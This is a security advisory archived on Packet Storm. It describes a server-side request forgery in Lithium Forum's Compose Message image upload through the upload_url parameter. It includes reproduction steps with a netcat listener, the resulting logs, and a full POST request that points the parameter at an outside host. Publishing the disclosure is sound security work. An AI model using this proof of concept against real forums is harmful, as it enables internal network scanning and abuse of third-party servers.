exploit the possibilities

Lithium Forum Server-Side Request Forgery

Lithium Forum Server-Side Request Forgery
Posted Feb 20, 2017
Authored by Vibhuti R V Nath | Site vulnerability-lab.com

Lithium Forum suffers from an SSRF vulnerability.

tags | exploit
MD5 | ace11d9c2331cdf5df42196a73ef69e0

Lithium Forum Server-Side Request Forgery

Change Mirror Download
Document Title:
===============
Lithium Forum - (Compose Message) SSRF Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2030


Release Date:
=============
2017-02-20


Vulnerability Laboratory ID (VL-ID):
====================================
2030


Common Vulnerability Scoring System:
====================================
5.7


Product & Service Introduction:
===============================
Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco,
Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and ZA1/4rich. Lithium was founded in 2001 as
a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular
gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as
Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise
customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Lithium_Technologies )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a server side request forgery vulnerability in the official Lithium Forum online service web-application.


Vulnerability Disclosure Timeline:
==================================
2017-02-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Lithium Technologies
Product: Lithium Forum - Web Application (API) 2017 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A server side request forgery vulnerability has been discovered in the official Lithium Forum online service web-application.
The vulnerability allows remote attacker to scan the internal and external network, depending on the resultation time of the attack.

The vulnerability is located in the official Community Compose Message function. The attack vector of the vulnerability is located
on the application-side of the service and the request method to run is POST. The execution point is also the Compose Message functions.
Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application like ebay,
vodafone, att, paypal, microsoft, skype and sony.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.7
Exploitation of the ssrf web vulnerability requires a low privilege web application user account without user interaction.
Successful exploitation of the vulnerability results in local/external portscan and possible mail spoofing over header redirection.

Affected Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Lithium Forum - Community - Compose Message

Vulnerable Parameter(s):
[+] upload_url


Proof of Concept (PoC):
=======================
The server side request forgery web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Register an lithium forum account and login to the web-application
2. Open link "t5/notes/privatenotespage/tab/compose"
3. click add images
4. Open netcat on your attackers machine, and listen on port 1337
5. Insert the following URL as Image: "http://your-host.com:1337/mypicture.jpg"
6. After the submit, you will see a connection inside of your netcat application.
7. Successful reproduce of the vulnerability!

netcat logs:
root@xxxxxxx:~# nc -l -v -p 1337
listening on [any] 1337 ...
Warning: forward host lookup failed for outbound.sj.lithium.com: Unknown host
connect to [*********] from outbound.sj.lithium.com [***.**.***.253] 60592
GET /mypicture.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Accept: image/webp,image/*,*/*
Host: your-host.com:1337


--- PoC Session Logs [POST] ---
POST /api/2.0/images HTTP/1.1
Host: *****
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/plain, */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Application-Identifier: DESKTOP
Application-Version: 2.0.0
Referer: https://*****/t5/notes/composepage/note-to-user-id/584604
Content-Length: 158
Cookie: *censored* LithiumUserInfo=9403260; LithiumUserSecure=9e27764c-7d10-48e2-80c4-70fc955d7432
Connection: keep-alive
{"data":{"upload_url":"http://my-host.top:1337/blablablda.jpg","title":"blablablda","description":"","visibility":"draft","album":{"id":"35418"},"type":"image"}}

HTTP/1.1 500 Internal Server Error
Date: Wed, 01 Feb 2017 09:24:14 GMT
Server: Apache
x-frame-options: SAMEORIGIN
Content-Length: 152
Connection: close
Content-Type: application/json;charset=UTF-8


Reference(s):
http://community.[WEBSITE].com/
http://community.[WEBSITE].com/t5/
http://community.[WEBSITE].com/api/2.0/images
http://community.[WEBSITE].com/t5/notes/privatenotespage/tab/compose



Solution - Fix & Patch:
=======================
Disallow the usage of other protocols like http on server-side requests and change the validation type of the inputs.


Security Risk:
==============
The security risk of the server side request forgery web vulnerability is estimated as medium. (CVSS 5.7)


Credits & Authors:
==================
Vibhuti R V Nath - [vibhuti123_i@yahoo.co.in] (http://www.vulnerability-lab.com/show.php?user=VibhutiNath)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close